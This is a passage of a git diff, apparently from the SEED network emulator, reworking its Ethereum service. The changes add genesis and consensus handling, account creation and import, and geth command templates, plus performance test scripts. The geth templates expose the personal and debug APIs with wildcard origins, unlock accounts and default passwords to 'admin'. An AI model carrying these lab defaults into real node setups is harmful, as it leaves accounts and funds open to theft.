{gethWsPort} --ws.origins "*" --ws.api web3,eth,debug,personal,net,clique ''' + +GethCommandTemplates['nodiscover'] = '''\ +--nodiscover ''' + +GethCommandTemplates['bootnodes'] = '''\ +--bootnodes "$(cat /tmp/eth-node-urls)" ''' + +class ConsensusMechanism(Enum): + """! + @brief Consensus Mechanism Enum. + """ + + # POA for Proof of Authority + POA = 'POA' + # POW for Proof of Work + POW = 'POW' + +class Syncmode(Enum): + """! + @brief geth syncmode Enum. + """ + SNAP = 'snap' + FULL = 'full' + LIGHT = 'light' + + +class Genesis(): + """! + @brief Genesis manage class + """ + + __genesis:dict + __consensusMechanism:ConsensusMechanism + + def __init__(self, consensus:ConsensusMechanism): + self.__consensusMechanism = consensus + self.__genesis = json.loads(GenesisFileTemplates[self.__consensusMechanism.value]) + + + def setGenesis(self, customGenesis:str): + """! + @brief set custom genesis + + @param customGenesis genesis file contents to set. + + @returns self, for chaining calls. + """ + self.__genesis = json.loads(customGenesis) + + return self + + def getGenesis(self) -> str: + """! + @brief get a string format of genesis block. + + returns genesis. + """ + return json.dumps(self.__genesis) + + def allocateBalance(self, accounts:List[EthAccount]) -> Genesis: + """! + @brief allocate balance to account by setting alloc field of genesis file. + + @param accounts list of accounts to allocate balance. + + @returns self, for chaining calls. + """ + for account in accounts: + address = account.getAddress() + balance = account.getAllocBalance() + + assert balance >= 0, "Genesis::allocateBalance: balance cannot have a negative value. Requested Balance Value : {}".format(account.getAllocBalance()) + self.__genesis["alloc"][address[2:]] = {"balance":"{}".format(balance)} + + return self + + def setSigner(self, accounts:List[EthAccount]) -> Genesis: + """! + @brief set initial signers by setting extraData field of genesis file. + + extraData property in genesis block consists of + 32bytes of vanity data, a list of iinitial signer addresses, + and 65bytes of vanity data. + + @param accounts account lists to set as signers. + + @returns self, for chaning API calls. + """ + + assert self.__consensusMechanism == ConsensusMechanism.POA, 'setSigner method supported only in POA consensus.' + + signerAddresses = '' + + for account in accounts: + signerAddresses = signerAddresses + account.getAddress()[2:] + + self.__genesis["extraData"] = GenesisFileTemplates['POA_extra_data'].format(signer_addresses=signerAddresses) + + return self + + +class EthAccount(): + """ + @brief Ethereum Local Account. + """ + + __address: str + __keystore_content: str + __keystore_filename:str + __alloc_balance: int + __password: str + + + def __init__(self, alloc_balance:int = 0,password:str = "admin", keyfilePath: str = None): + """ + @brief create a Ethereum Local Account when initialize + @param alloc_balance the balance need to be alloc + @param password encrypt password for creating new account, decrypt password for importing account + @param keyfile content of the keystore file. If this parameter is None, this function will create a new account, if not, it will import account from keyfile + """ + from eth_account import Account + self.lib_eth_account = Account + + self.__account = self.__importAccount(keyfilePath=keyfilePath, password=password) if keyfilePath else self.__createAccount() + self.__address = self.__account.address + + assert alloc_balance >= 0, "EthAccount::__init__: balance cannot have a negative value. Requested Balance Value : {}".format(alloc_balance) + + self.__alloc_balance = alloc_balance + self.__password = password + + encrypted = self.encryptAccount() + self.__keystore_content = json.dumps(encrypted) + + # generate the name of the keyfile + datastr = datetime.now(timezone.utc).isoformat().replace("+00:00", "000Z").replace(":","-") + self.__keystore_filename = "UTC--"+datastr+"--"+encrypted["address"] + + def __validate_balance(self, alloc_balance:int): + """ + validate balance + It only allow positive decimal integer + """ + assert alloc_balance>=0 , "Invalid Balance Range: {}".format(alloc_balance) + + def __importAccount(self, keyfilePath: str, password = "admin"): + """ + @brief import account from keyfile + """ + assert path.exists(keyfilePath), "EthAccount::__importAccount: keyFile does not exist. path : {}".format(keyfilePath) + f = open(keyfilePath, "r") + keyfileContent = f.read() + f.close() + return self.lib_eth_account.from_key(self.lib_eth_account.decrypt(keyfile_json=keyfileContent,password=password)) + + def __createAccount(self): + """ + @brief create account + """ + return self.lib_eth_account.create() + + def getAddress(self) -> str: + return self.__address + + def getAllocBalance(self) -> str: + return self.__alloc_balance + + def getKeyStoreFileName(self) -> str: + return self.__keystore_filename + + def encryptAccount(self): + while True: + keystore = self.lib_eth_account.encrypt(self.__account.key, password=self.__password) + if len(keystore['crypto']['cipherparams']['iv']) == 32: + return keystore + + def getKeyStoreContent(self) -> str: + return self.__keystore_content + + def getPassword(self) -> str: + return self.__password + + class SmartContract(): __abi_file_name: str @@ -71,7 +323,6 @@ def __init__(self, contract_file_bin, contract_file_abi): def __getContent(self, file_name): """! @brief get Content of the file_name. - @param file_name from which we want to read data. @returns Contents of the file_name. @@ -85,9 +336,7 @@ def __getContent(self, file_name): def generateSmartContractCommand(self): """! @brief generates a shell command which deploys the smart Contract on the ethereum network. - @param contract_file_bin binary file of the smart Contract. - @param contract_file_abi abi file of the smart Contract. @returns shell command in the form of string. @@ -131,144 +380,260 @@ class EthereumServer(Server): __is_bootnode: bool __bootnode_http_port: int __smart_contract: SmartContract - __start_Miner_node: bool - __create_new_account: int - __enable_external_connection: bool - __unlockAccounts: bool + __accounts: List[EthAccount] + __accounts_info: List[Tuple[int, str, str]] + __consensus_mechanism: ConsensusMechanism + + __custom_geth_binary_path: str + __custom_geth_command_option: str + + __data_dir: str + __syncmode: Syncmode + __snapshot: bool + __no_discover: bool + __enable_http: bool + __geth_http_port: int + __enable_ws: bool + __geth_ws_port: int + __unlock_accounts: bool + __start_mine: bool + __miner_thread: int + __coinbase: str def __init__(self, id: int): """! @brief create new eth server. - @param id serial number of this server. """ self.__id = id self.__is_bootnode = False + self.__bootnode_http_port = 8088 self.__smart_contract = None - self.__start_Miner_node = False - self.__create_new_account = 0 - self.__enable_external_connection = False - self.__unlockAccounts = False - - def __createNewAccountCommand(self, node: Node): - if self.__create_new_account > 0: - """! - @brief generates a shell command which creates a new account in ethereum network. - - @param ethereum node on which we want to deploy the changes. - - """ - command = " sleep 20\n\ - geth --password /tmp/eth-password account new \n\ - " - - for count in range(self.__create_new_account): - node.appendStartCommand('(\n {})&'.format(command)) - - def __unlockAccountsCommand(self, node: Node): - if self.__unlockAccounts: - """! - @brief automatically unlocking the accounts in a node. - Currently used to automatically be able to use our emulator using Remix. - """ - - base_command = "sleep 20\n\ - geth --exec 'personal.unlockAccount(eth.accounts[{}],\"admin\",0)' attach\n\ - " - - full_command = "" - for i in range(self.__create_new_account + 1): - full_command += base_command.format(str(i)) + self.__accounts = [] + self.__accounts_info = [(0, "admin", None)] + self.__consensus_mechanism = ConsensusMechanism.POW + self.__genesis = Genesis(self.__consensus_mechanism) + + self.__custom_geth_binary_path = None + self.__custom_geth_command_option = None + + self.__data_dir = "/root/.ethereum" + self.__syncmode = Syncmode.FULL + self.__snapshot = False + self.__no_discover = False + self.__enable_ws = False + self.__enable_http = False + self.__geth_http_port = 8545 + self.__geth_ws_port = 8546 + self.__unlock_accounts = False + self.__start_mine = False + self.__miner_thread = 1 + self.__coinbase = "" + + def __generateGethStartCommand(self): + """! + @brief generate geth start commands from the properties. - node.appendStartCommand('(\n {})&'.format(full_command)) + @returns geth command. + """ + geth_start_command = GethCommandTemplates['base'].format(node_id=self.__id, datadir=self.__data_dir, syncmode=self.__syncmode.value, snapshot=self.__snapshot) - def __addMinerStartCommand(self, node: Node): - if self.__start_Miner_node: - """! - @brief generates a shell command which start miner as soon as it the miner is booted up. - - @param ethereum node on which we want to deploy the changes. - - """ - command = " sleep 20\n\ - geth --exec 'eth.defaultAccount = eth.accounts[0]' attach \n\ - geth --exec 'miner.start(20)' attach \n\ - " - node.appendStartCommand('(\n {})&'.format(command)) - - def install(self, node: Node, eth: 'EthereumService', allBootnode: bool): + if self.__no_discover: + geth_start_command += GethCommandTemplates['nodiscover'] + else: + geth_start_command += GethCommandTemplates['bootnodes'] + if self.__enable_http: + geth_start_command += GethCommandTemplates['http'].format(gethHttpPort=self.__geth_http_port) + if self.__enable_ws: + geth_start_command += GethCommandTemplates['ws'].format(gethWsPort=self.__geth_ws_port) + if self.__custom_geth_command_option: + geth_start_command += self.__custom_geth_command_option + if self.__unlock_accounts: + accounts = [] + for account in self.__accounts: + accounts.append(account.getAddress()) + geth_start_command += GethCommandTemplates['unlock'].format(accounts=', '.join(accounts)) + if self.__start_mine: + assert len(self.__accounts) > 0, 'EthereumServer::__generateGethStartCommand: To start mine, ethereum server need at least one account.' + if self.__consensus_mechanism == ConsensusMechanism.POA: + assert self.__unlock_accounts, 'EthereumServer::__generateGethStartCommand: To start mine in POA(clique), accounts should be unlocked first.' + geth_start_command += GethCommandTemplates['mine'].format(coinbase=self.__coinbase, num_of_threads=self.__miner_thread) + + return geth_start_command + + def install(self, node: Node, eth: EthereumService): """! @brief ETH server installation step. - @param node node object @param eth reference to the eth service. @param allBootnode all-bootnode mode: all nodes are boot node. """ + + node.appendClassName('EthereumService') + node.setLabel('node_id', self.getId()) + node.setLabel('consensus', self.__consensus_mechanism.value) + ifaces = node.getInterfaces() - assert len(ifaces) > 0, 'EthereumServer::install: node as{}/{} has not interfaces'.format(node.getAsn(), node.getName()) + assert len(ifaces) > 0, 'EthereumServer::install: node as{}/{} has no interfaces'.format(node.getAsn(), node.getName()) addr = str(ifaces[0].getAddress()) - this_url = '{}:{}'.format(addr, self.getBootNodeHttpPort()) - # get other nodes IP for the bootstrapper. - bootnodes = eth.getBootNodes()[:] - if this_url in bootnodes: bootnodes.remove(this_url) + # update genesis.json + self.__genesis.allocateBalance(eth.getAllAccounts()) + if self.__consensus_mechanism == ConsensusMechanism.POA: + self.__genesis.setSigner(eth.getAllSignerAccounts()) + + node.setFile('/tmp/eth-genesis.json', self.__genesis.getGenesis()) + + account_passwords = [] - node.appendFile('/tmp/eth-genesis.json', ETHServerFileTemplates['genesis']) - node.appendFile('/tmp/eth-nodes', '\n'.join(bootnodes)) - node.appendFile('/tmp/eth-bootstrapper', ETHServerFileTemplates['bootstrapper']) - node.appendFile('/tmp/eth-password', 'admin') + for account in self.__accounts: + node.setFile("/tmp/keystore/"+account.getKeyStoreFileName(), account.getKeyStoreContent()) + account_passwords.append(account.getPassword()) - node.addSoftware('software-properties-common') + node.setFile('/tmp/eth-password', '\n'.join(account_passwords)) + + node.addSoftware('software-properties-common') # tap the eth repo node.addBuildCommand('add-apt-repository ppa:ethereum/ethereum') # install geth and bootnode - node.addBuildCommand('apt-get update && apt-get install --yes geth bootnode') - - # set the data directory - datadir_option = "--datadir /root/.ethereum" + if self.__custom_geth_binary_path : + node.addBuildCommand('apt-get update && apt-get install --yes bootnode') + node.importFile("../../"+self.__custom_geth_binary_path, '/usr/bin/geth') + node.appendStartCommand("chmod +x /usr/bin/geth") + else: + node.addBuildCommand('apt-get update && apt-get install --yes geth bootnode') # genesis - node.appendStartCommand('[ ! -e "/root/.ethereum/geth/nodekey" ] && geth {} init /tmp/eth-genesis.json'.format(datadir_option)) + node.appendStartCommand('[ ! -e "/root/.ethereum/geth/nodekey" ] && geth --datadir {} init /tmp/eth-genesis.json'.format(self.__data_dir)) + # copy keystore to the proper folder + for account in self.__accounts: + node.appendStartCommand("cp /tmp/keystore/{} /root/.ethereum/keystore/".format(account.getKeyStoreFileName())) - # create account via pre-defined password - node.appendStartCommand('[ -z `ls -A /root/.ethereum/keystore` ] && geth {} --password /tmp/eth-password account new'.format(datadir_option)) - - if allBootnode or self.__is_bootnode: + if self.__is_bootnode: # generate enode url. other nodes will access this to bootstrap the network. - node.appendStartCommand('echo "enode://$(bootnode --nodekey /root/.ethereum/geth/nodekey -writeaddress)@{}:30303" > /tmp/eth-enode-url'.format(addr)) - + node.appendStartCommand('[ ! -e "/root/.ethereum/geth/bootkey" ] && bootnode -genkey /root/.ethereum/geth/bootkey') + node.appendStartCommand('echo "enode://$(bootnode -nodekey /root/.ethereum/geth/bootkey -writeaddress)@{}:30301" > /tmp/eth-enode-url'.format(addr)) + + # Default port is 30301, use -addr : to specify a custom port + node.appendStartCommand('bootnode -nodekey /root/.ethereum/geth/bootkey -verbosity 9 -addr {}:30301 2> /tmp/bootnode-logs &'.format(addr)) + # host the eth-enode-url for other nodes. node.appendStartCommand('python3 -m http.server {} -d /tmp'.format(self.__bootnode_http_port), True) + + # get other nodes IP for the bootstrapper. + bootnodes = eth.getBootNodes(self.__consensus_mechanism)[:] + if len(bootnodes) > 0 : + node.setFile('/tmp/eth-nodes', '\n'.join(bootnodes)) + node.setFile('/tmp/eth-bootstrapper', ETHServerFileTemplates['bootstrapper']) - # load enode urls from other nodes - node.appendStartCommand('chmod +x /tmp/eth-bootstrapper') - node.appendStartCommand('/tmp/eth-bootstrapper') + # load enode urls from other nodes + node.appendStartCommand('chmod +x /tmp/eth-bootstrapper') + node.appendStartCommand('/tmp/eth-bootstrapper') # launch Ethereum process. - common_args = '{} --identity="NODE_{}" --networkid=10 --verbosity=2 --mine --allow-insecure-unlock --http --http.addr 0.0.0.0 --http.port 8549'.format(datadir_option, self.__id) - if self.externalConnectionEnabled(): - remix_args = "--http.corsdomain '*' --http.api web3,eth,debug,personal,net" - common_args = '{} {}'.format(common_args, remix_args) - if len(bootnodes) > 0: - node.appendStartCommand('nice -n 19 geth --bootnodes "$(cat /tmp/eth-node-urls)" {}'.format(common_args), True) - else: - node.appendStartCommand('nice -n 19 geth {}'.format(common_args), True) - - self.__createNewAccountCommand(node) - self.__unlockAccountsCommand(node) - self.__addMinerStartCommand(node) - + node.appendStartCommand(self.__generateGethStartCommand(), True) + if self.__smart_contract != None : smartContractCommand = self.__smart_contract.generateSmartContractCommand() node.appendStartCommand('(\n {})&'.format(smartContractCommand)) + def setCustomGeth(self, customGethBinaryPath:str) -> EthereumServer: + """ + @brief set custom geth binary file + + @param customGethBinaryPath set abosolute path of geth binary to move to the service. + + @returns self, for chaining API calls. + """ + assert path.exists(customGethBinaryPath), "EthereumServer::setCustomGeth: custom geth binary file does not exist. path : {}".format(customGethBinaryPath) + + self.__custom_geth_binary_path = customGethBinaryPath + + return self + + def setCustomGethCommandOption(self, customOptions:str) -> EthereumServer: + """ + @brief set custom geth start command option + + @param customOptions options to set + + @returns self, for chaining API calls. + """ + assert customOptions.startswith("--"), "option should start with '--'" + assert ";" not in customOptions, "letter ';' cannot contain in the options" + assert "&" not in customOptions, "letter '|' cannot contain in the options" + assert "|" not in customOptions, "letter '|' cannot contain in the options" + + self.__custom_geth_command_option = customOptions + return self + + def setGenesis(self, genesis:str) -> EthereumServer: + """ + @brief set custom genesis + + @returns self, for chaining API calls. + """ + self.__genesis.setGenesis(genesis) + + return self + + def setSyncmode(self, syncmode:Syncmode) -> EthereumServer: + """ + @brief setting geth syncmode (default: snap) + + @param syncmode use Syncmode enum options. + Syncmode.SNAP, Syncmode.FULL, Syncmode.LIGHT + + @returns self, for chaining API calls. + """ + self.__syncmode = syncmode + return self + + def setNoDiscover(self, noDiscover:bool = True) -> EthereumServer: + """ + @brief setting the automatic peer discovery to true/false + """ + self.__no_discover = noDiscover + return self + + def setSnapshot(self, snapshot:bool = True) -> EthereumServer: + """! + @breif set geth snapshot + + @param snapshot bool + + @returns self, for chainging API calls. + """ + self.__snapshot = snapshot + return self + + def setConsensusMechanism(self, consensusMechanism:ConsensusMechanism) -> EthereumServer: + ''' + @brief set ConsensusMechanism + + @param consensusMechanism supports POW and POA. + + @returns self, for chaining API calls. + ''' + self.__consensus_mechanism = consensusMechanism + self.__genesis = Genesis(self.__consensus_mechanism) + if consensusMechanism == ConsensusMechanism.POA: + self.__accounts_info[0] = (32 * pow(10, 18), "admin", None) + elif consensusMechanism == ConsensusMechanism.POW: + self.__accounts_info[0] = (0, "admin", None) + + return self + + def getConsensusMechanism(self) -> ConsensusMechanism: + + return self.__consensus_mechanism + def getId(self) -> int: """! @brief get ID of this node. - @returns ID. """ return self.__id @@ -276,10 +641,8 @@ def getId(self) -> int: def setBootNode(self, isBootNode: bool) -> EthereumServer: """! @brief set bootnode status of this node. - Note: if no nodes are configured as boot nodes, all nodes will be each other's boot nodes. - @param isBootNode True to set this node as a bootnode, False otherwise. @returns self, for chaining API calls. @@ -291,7 +654,6 @@ def setBootNode(self, isBootNode: bool) -> EthereumServer: def isBootNode(self) -> bool: """! @brief get bootnode status of this node. - @returns True if this node is a boot node. False otherwise. """ return self.__is_bootnode @@ -299,9 +661,7 @@ def isBootNode(self) -> bool: def setBootNodeHttpPort(self, port: int) -> EthereumServer: """! @brief set the http server port number hosting the enode url file. - @param port port - @returns self, for chaining API calls. """ @@ -309,110 +669,262 @@ def setBootNodeHttpPort(self, port: int) -> EthereumServer: return self + def getBootNodeHttpPort(self) -> int: """! @brief get the http server port number hosting the enode url file. - @returns port """ + return self.__bootnode_http_port - def enableExternalConnection(self) -> EthereumServer: + def setGethHttpPort(self, port: int) -> EthereumServer: + """! + @brief set the http server port number for normal ethereum nodes + @param port port + @returns self, for chaining API calls + """ + + self.__geth_http_port = port + + return self + + def getGethHttpPort(self) -> int: + """! + @brief get the http server port number for normal ethereum nodes + @returns int + """ + + return self.__geth_http_port + + def setGethWsPort(self, port: int) -> EthereumServer: + """! + @brief set the ws server port number for normal ethereum nodes + + @param port port + + @returns self, for chaining API calls + """ + + self.__geth_ws_port = port + + return self + + def getGethWsPort(self) -> int: + """! + @brief get the ws server port number for normal ethereum nodes + + @returns int + """ + + return self.__geth_ws_port + + + def enableGethHttp(self) -> EthereumServer: """! - @brief setting a node as a remix node makes it possible for the remix IDE to connect to the node + @brief setting a geth to enable http connection """ - self.__enable_external_connection = True + self.__enable_http = True return self - def externalConnectionEnabled(self) -> bool: + def isGethHttpEnabled(self) -> bool: + """! + @brief returns whether a geth enabled http connection or not + """ + return self.__enable_http + + def enableGethWs(self) -> EthereumServer: """! - @brief returns wheter a node is a remix node or not + @brief setting a geth to enable ws connection """ - return self.__enable_external_connection + self.__enable_ws = True + + return self - def createNewAccount(self, number_of_accounts = 0) -> EthereumServer: + def isGethWsEnabled(self) -> bool: """! - @brief Call this api to create a new account. + @brief returns whether a geth enabled ws connection or not + """ + + return self.__enable_ws + + def createAccount(self, balance:int=0, password:str="admin") -> EthereumServer: + """ + @brief call this api to create new accounts + + @param balance the balance to be allocated to the account + @param password the password to encrypt private key + + @returns self, for chaining API calls. + + """ + + self.__accounts_info.append((balance, password, None)) + + return self + + + def createAccounts(self, number: int = 1, balance: int=0, password: str = "admin") -> EthereumServer: + """ + @brief Call this api to create new accounts + + @param number the number of account need to create + @param balance the balance need to be allocated to the accounts + @param password the password of account for the Ethereum client + + @returns self, for chaining API calls. + """ + + for _ in range(number): + self.__accounts_info.append((balance, password, None)) + + return self + + def _createAccounts(self, eth:EthereumService) -> EthereumServer: + """ + @brief Call this api to create new accounts from account_info @returns self, for chaining API calls. """ - self.__create_new_account = number_of_accounts or self.__create_new_account + 1 + for balance, password, keyfilePath in self.__accounts_info: + if keyfilePath: + eth._log('importing eth account...') + else: + eth._log('creating eth account...') + + account = EthAccount(alloc_balance=balance,password=password, keyfilePath=keyfilePath) + self.__accounts.append(account) + + return self + + def importAccount(self, keyfilePath:str, password:str = "admin", balance: int = 0) -> EthereumServer: + assert path.exists(keyfilePath), "EthereumServer::importAccount: keyFile does not exist. path : {}".format(keyfilePath) + + self.__accounts_info.append((balance, password, keyfilePath)) return self + + def getAccounts(self) -> List[Tuple(int, str, str)]: + """ + @brief Call this api to get the accounts for this node + + @returns accounts_info. + """ + + return self.__accounts_info + + def _getAccounts(self) -> List[EthAccount]: + """ + @brief Call this api to get the accounts for this node + + @returns accounts + """ + + return self.__accounts + def unlockAccounts(self) -> EthereumServer: """! @brief This is mainly used to unlock the accounts in the remix node to make it directly possible for transactions to be executed through Remix without the need to access the geth account in the docker container and unlocking manually + + @returns self, for chaining API calls. """ - self.__unlockAccounts = True + self.__unlock_accounts = True return self def startMiner(self) -> EthereumServer: """! @brief Call this api to start Miner in the node. - @returns self, for chaining API calls. """ - self.__start_Miner_node = True + self.__start_mine = True + self.__syncmode = Syncmode.FULL return self + def isStartMiner(self) -> bool: + """! + @brief call this api to get startMiner status in the node. + + @returns __start_mine status. + """ + return self.__start_mine + def deploySmartContract(self, smart_contract: SmartContract) -> EthereumServer: """! @brief Call this api to deploy smartContract on the node. - @returns self, for chaining API calls. """ self.__smart_contract = smart_contract return self + class EthereumService(Service): """! @brief The Ethereum network service. - This service allows one to run a private Ethereum network in the emulator. """ __serial: int - __all_node_ips: List[str] - __boot_node_addresses: List[str] + __boot_node_addresses: Dict[ConsensusMechanism, List[str]] + __joined_accounts: List[EthAccount] + __joined_signer_accounts: List[EthAccount] __save_state: bool __save_path: str + __override: bool - def __init__(self, saveState: bool = False, statePath: str = './eth-states'): + def __init__(self, saveState: bool = False, savePath: str = './eth-states', override:bool=False): """! @brief create a new Ethereum service. - @param saveState (optional) if true, the service will try to save state of the block chain by saving the datadir of every node. Default to false. - @param statePath (optional) path to save containers' datadirs on the + + @param savePath (optional) path to save containers' datadirs on the host. Default to "./eth-states". + + @param override (optional) override the output folder if it already + exist. False by defualt. + """ super().__init__() self.__serial = 0 - self.__all_node_ips = [] - self.__boot_node_addresses = [] + self.__boot_node_addresses = {} + self.__boot_node_addresses[ConsensusMechanism.POW] = [] + self.__boot_node_addresses[ConsensusMechanism.POA] = [] + self.__joined_accounts = [] + self.__joined_signer_accounts = [] self.__save_state = saveState - self.__save_path = statePath + self.__save_path = savePath + self.__override = override def getName(self): return 'EthereumService' - def getBootNodes(self) -> List[str]: + def getBootNodes(self, consensusMechanism:ConsensusMechanism) -> List[str]: """ @brief get bootnode IPs. - @returns list of IP addresses. """ - return self.__all_node_ips if len(self.__boot_node_addresses) == 0 else self.__boot_node_addresses + return self.__boot_node_addresses[consensusMechanism] + + def getAllAccounts(self) -> List[EthAccount]: + """ + @brief Get a joined list of all the created accounts on all nodes + + @returns list of EthAccount + """ + return self.__joined_accounts + + def getAllSignerAccounts(self) -> List[EthAccount]: + return self.__joined_signer_accounts def _doConfigure(self, node: Node, server: EthereumServer): self._log('configuring as{}/{} as an eth node...'.format(node.getAsn(), node.getName())) @@ -422,21 +934,48 @@ def _doConfigure(self, node: Node, server: EthereumServer): addr = '{}:{}'.format(str(ifaces[0].getAddress()), server.getBootNodeHttpPort()) if server.isBootNode(): - self._log('adding as{}/{} as bootnode...'.format(node.getAsn(), node.getName())) - self.__boot_node_addresses.append(addr) - + self._log('adding as{}/{} as consensus-{} bootnode...'.format(node.getAsn(), node.getName(), server.getConsensusMechanism().value)) + self.__boot_node_addresses[server.getConsensusMechanism()].append(addr) + + server._createAccounts(self) + + if len(server._getAccounts()) > 0: + self.__joined_accounts.extend(server._getAccounts()) + if server.getConsensusMechanism() == ConsensusMechanism.POA and server.isStartMiner(): + self.__joined_signer_accounts.append(server._getAccounts()[0]) + if self.__save_state: - node.addSharedFolder('/root/.ethereum', '{}/{}'.format(self.__save_path, server.getId())) - + node.addSharedFolder('/root/.ethereum', '../{}/{}/ethereum'.format(self.__save_path, server.getId())) + node.addSharedFolder('/root/.ethash', '../{}/{}/ethash'.format(self.__save_path, server.getId())) + makedirs('{}/{}/ethereum'.format(self.__save_path, server.getId())) + makedirs('{}/{}/ethash'.format(self.__save_path, server.getId())) + + def configure(self, emulator: Emulator): + if self.__save_state: + self._createSharedFolder() + super().configure(emulator) + + def _createSharedFolder(self): + if path.exists(self.__save_path): + if self.__override: + self._log('eth_state folder "{}" already exist, overriding.'.format(self.__save_path)) + i = 1 + while True: + rename_save_path = "{}-{}".format(self.__save_path, i) + if not path.exists(rename_save_path): + rename(self.__save_path, rename_save_path) + break + else: + i = i+1 + else: + self._log('eth_state folder "{}" already exist. Set "override = True" when calling compile() to override.'.format(self.__save_path)) + exit(1) + mkdir(self.__save_path) + def _doInstall(self, node: Node, server: EthereumServer): self._log('installing eth on as{}/{}...'.format(node.getAsn(), node.getName())) - - all_bootnodes = len(self.__boot_node_addresses) == 0 - - if all_bootnodes: - self._log('note: no bootnode configured. all nodes will be each other\'s boot node.') - server.install(node, self, all_bootnodes) + server.install(node, self) def _createServer(self) -> Server: self.__serial += 1 @@ -453,8 +992,12 @@ def print(self, indent: int) -> str: indent += 4 - for node in self.getBootNodes(): + for node in self.getBootNodes(ConsensusMechanism.POW): + out += ' ' * indent + out += 'POW-{}\n'.format(node) + + for node in self.getBootNodes(ConsensusMechanism.POA): out += ' ' * indent - out += '{}\n'.format(node) + out += 'POA-{}\n'.format(node) - return out + return out \ No newline at end of file diff --git a/seedemu/services/WebService.py b/seedemu/services/WebService.py index c88ed8844..f522d1127 100644 --- a/seedemu/services/WebService.py +++ b/seedemu/services/WebService.py @@ -65,6 +65,7 @@ def install(self, node: Node): node.setFile('/var/www/html/index.html', self.__index.format(asn = node.getAsn(), nodeName = node.getName())) node.setFile('/etc/nginx/sites-available/default', WebServerFileTemplates['nginx_site'].format(port = self.__port)) node.appendStartCommand('service nginx start') + node.appendClassName("WebService") def print(self, indent: int) -> str: out = ' ' * indent diff --git a/seedemu/services/__init__.py b/seedemu/services/__init__.py index fca3db4a0..de4a0f769 100644 --- a/seedemu/services/__init__.py +++ b/seedemu/services/__init__.py @@ -3,8 +3,9 @@ from .DomainRegistrarService import DomainRegistrarService, DomainRegistrarServer from .DomainNameService import DomainNameServer, DomainNameService, Zone from .TorService import TorService, TorServer, TorNodeType -from .EthereumService import EthereumService, EthereumServer, SmartContract +from .EthereumService import EthereumService, EthereumServer, SmartContract, ConsensusMechanism from .DomainNameCachingService import DomainNameCachingServer, DomainNameCachingService from .CymruIpOrigin import CymruIpOriginService, CymruIpOriginServer from .ReverseDomainNameService import ReverseDomainNameService, ReverseDomainNameServer -from .BgpLookingGlassService import BgpLookingGlassServer, BgpLookingGlassService \ No newline at end of file +from .BgpLookingGlassService import BgpLookingGlassServer, BgpLookingGlassService +from .DHCPService import DHCPServer, DHCPService \ No newline at end of file diff --git a/seedemu/utilities/__init__.py b/seedemu/utilities/__init__.py index 4f428f672..0045cf3d3 100644 --- a/seedemu/utilities/__init__.py +++ b/seedemu/utilities/__init__.py @@ -1 +1 @@ -from .Makers import * \ No newline at end of file +from .Makers import * diff --git a/test/performance/driver-1.sh b/test/performance/driver-1.sh new file mode 100755 index 000000000..927d82472 --- /dev/null +++ b/test/performance/driver-1.sh @@ -0,0 +1,51 @@ +#!/bin/bash + +SAMPLE_COUNT='100' + +set -e + +cd "`dirname "$0"`" +results="`pwd`/results" + +[ ! -d "$results" ] && mkdir "$results" + +function collect { + for j in `seq 1 $SAMPLE_COUNT`; do { + now="`date +%s`" + echo "[$now] snapshotting cpu/mem info..." + cat /proc/stat > "$this_results/stat-$now.txt" + cat /proc/meminfo > "$this_results/meminfo-$now.txt" + sleep 1 + }; done +} + +for ((i=${START}; i<=${END}; i+=${STEP})); do { + rm -rf out + + echo "generating emulation..." + [ "$TARGET" = "ases" ] && \ + ./generator-1.py --ases $i --ixs 5 --routers 1 --hosts 0 --outdir out --yes + [ "$TARGET" = "routers" ] && \ + ./generator-1.py --ases 10 --ixs 5 --routers $i --hosts 0 --outdir out --yes + [ "$TARGET" = "hosts" ] && \ + ./generator-1.py --ases 10 --ixs 5 --routers 1 --hosts $i --outdir out --yes + this_results="$results/bench-$i-$TARGET" + [ ! -d "$this_results" ] && mkdir "$this_results" + pushd out + + echo "buliding emulation..." + docker-compose build + # bugged? stuck forever at "compose.parallel.feed_queue: Pending: set()"... + # docker-compose up -d + + # start only 10 at a time to prevent hangs + echo "start emulation..." + ls | grep -Ev '.yml$|^dummies$' | xargs -n10 -exec docker-compose up -d + + echo "waiting 300s for ospf/bgp, etc..." + sleep 300 + collect + + docker-compose down + popd +}; done diff --git a/test/performance/driver-2.sh b/test/performance/driver-2.sh new file mode 100755 index 000000000..a8416be5f --- /dev/null +++ b/test/performance/driver-2.sh @@ -0,0 +1,46 @@ +#!/bin/bash + +set -e + +cd "`dirname "$0"`" +results="`pwd`/results" + +for ((i=${START}; i<=${END}; i+=${STEP})); do { + rm -rf out + + echo "generating emulation..." + [ "$TARGET" = "ases" ] && ./generator-2.py --ases $i --hops 10 --outdir out + [ "$TARGET" = "hops" ] && ./generator-2.py --ases 1 --hops $i --outdir out + + this_results="$results/bench-$i-fwd-$TARGET" + + [ ! -d "$this_results" ] && mkdir "$this_results" + pushd out + + echo "buliding emulation..." + docker-compose build + # bugged? stuck forever at "compose.parallel.feed_queue: Pending: set()"... + # docker-compose up -d + # start only 10 at a time to prevent hangs + echo "start emulation..." + ls | grep -Ev '.yml$|^dummies$' | xargs -n10 -exec docker-compose up -d + + echo "wait for tests..." + sleep 500 + + host_ids="`docker ps | egrep "hnode_.*_a" | cut -d\ -f1`" + for id in $host_ids; do { + while ! docker exec $id ls /done; do { + echo "waiting for $id to finish tests..." + sleep 10 + }; done + + echo "collecting results from $id..." + docker cp "$id:/ping.txt" "$this_results/$id-ping.txt" + docker cp "$id:/iperf-tx.txt" "$this_results/$id-iperf-tx.txt" + docker cp "$id:/iperf-rx.txt" "$this_results/$id-iperf-rx.txt" + }; done + + docker-compose down + popd +}; done diff --git a/test/performance/generator-1.py b/test/performance/generator-1.py new file mode 100755 index 000000000..1c3b90558 --- /dev/null +++ b/test/performance/generator-1.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 + +from seedemu import * +from typing import List, Dict, Set +from ipaddress import IPv4Network +from math import ceil +from random import choice + +import argparse + +def createEmulation(asCount: int, asEachIx: int, routerEachAs: int, hostEachNet: int, hostService: Service, hostCommands: List[str], hostFiles: List[File], yes: bool) -> Emulator: + asNetworkPool = IPv4Network('16.0.0.0/4').subnets(new_prefix = 16) + linkNetworkPool = IPv4Network('32.0.0.0/4').subnets(new_prefix = 24) + ixNetworkPool = IPv4Network('100.0.0.0/13').subnets(new_prefix = 24) + ixCount = ceil(asCount / asEachIx) + + rtrCount = asCount * routerEachAs + hostCount = asCount * routerEachAs * hostEachNet + ixCount + netCount = asCount * (routerEachAs + routerEachAs - 1) + ixCount + + print('Total nodes: {} ({} routers, {} hosts)'.format(rtrCount + hostCount, rtrCount, hostCount)) + print('Total 